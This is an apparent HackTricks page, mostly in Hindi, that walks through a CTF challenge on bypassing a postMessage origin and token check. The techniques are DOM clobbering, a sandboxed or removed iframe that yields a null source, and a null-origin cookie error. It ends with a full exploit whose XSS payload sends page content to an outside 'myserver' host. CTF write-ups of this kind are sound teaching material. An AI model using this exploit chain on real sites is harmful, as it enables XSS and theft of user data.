Bypassing SOP with Iframes - 2
Reading time: 4 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Iframes in SOP-2
In the solution for this challenge, @Strellic_ पिछले अनुभाग के समान एक विधि का प्रस्ताव करते हैं। चलो इसे देखते हैं।
इस चुनौती में हमलावर को bypass करना है:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
यदि वह ऐसा करता है, तो वह एक postmessage भेज सकता है जिसमें HTML सामग्री होगी जो innerHTML
के साथ पृष्ठ में लिखी जाएगी बिना किसी सफाई के (XSS).
पहली जांच को बायपास करने का तरीका है window.calc.contentWindow
को undefined
और e.source
को null
बनाना:
window.calc.contentWindow
वास्तव मेंdocument.getElementById("calc")
है। आपdocument.getElementById
को<img name=getElementById />
के साथ क्लॉबर कर सकते हैं (ध्यान दें कि Sanitizer API -यहाँ- डिफ़ॉल्ट स्थिति में DOM क्लॉबरिंग हमलों से सुरक्षा के लिए कॉन्फ़िगर नहीं की गई है)।- इसलिए, आप
document.getElementById("calc")
को<img name=getElementById /><div id=calc></div>
के साथ क्लॉबर कर सकते हैं। फिर,window.calc
undefined
होगा। - अब, हमें
e.source
कोundefined
याnull
होना चाहिए (क्योंकि==
का उपयोग किया गया है===
के बजाय,null == undefined
True
है)। इसे प्राप्त करना "आसान" है। यदि आप एक iframe बनाते हैं और इससे postMessage भेजते हैं और तुरंत iframe को हटाते हैं, तोe.origin
null
होगा। निम्नलिखित कोड की जांच करें
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
दूसरे चेक को बायपास करने के लिए token
को मान null
के साथ भेजना और window.token
का मान undefined
बनाना है:
- मान
null
के साथ postMessage मेंtoken
भेजना तुच्छ है। window.token
को कॉल करते समयgetCookie
फ़ंक्शन में जोdocument.cookie
का उपयोग करता है। ध्यान दें किnull
मूल पृष्ठों मेंdocument.cookie
तक किसी भी पहुंच से error उत्पन्न होती है। इससेwindow.token
का मानundefined
हो जाएगा।
अंतिम समाधान @terjanq द्वारा है जो निम्नलिखित है:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।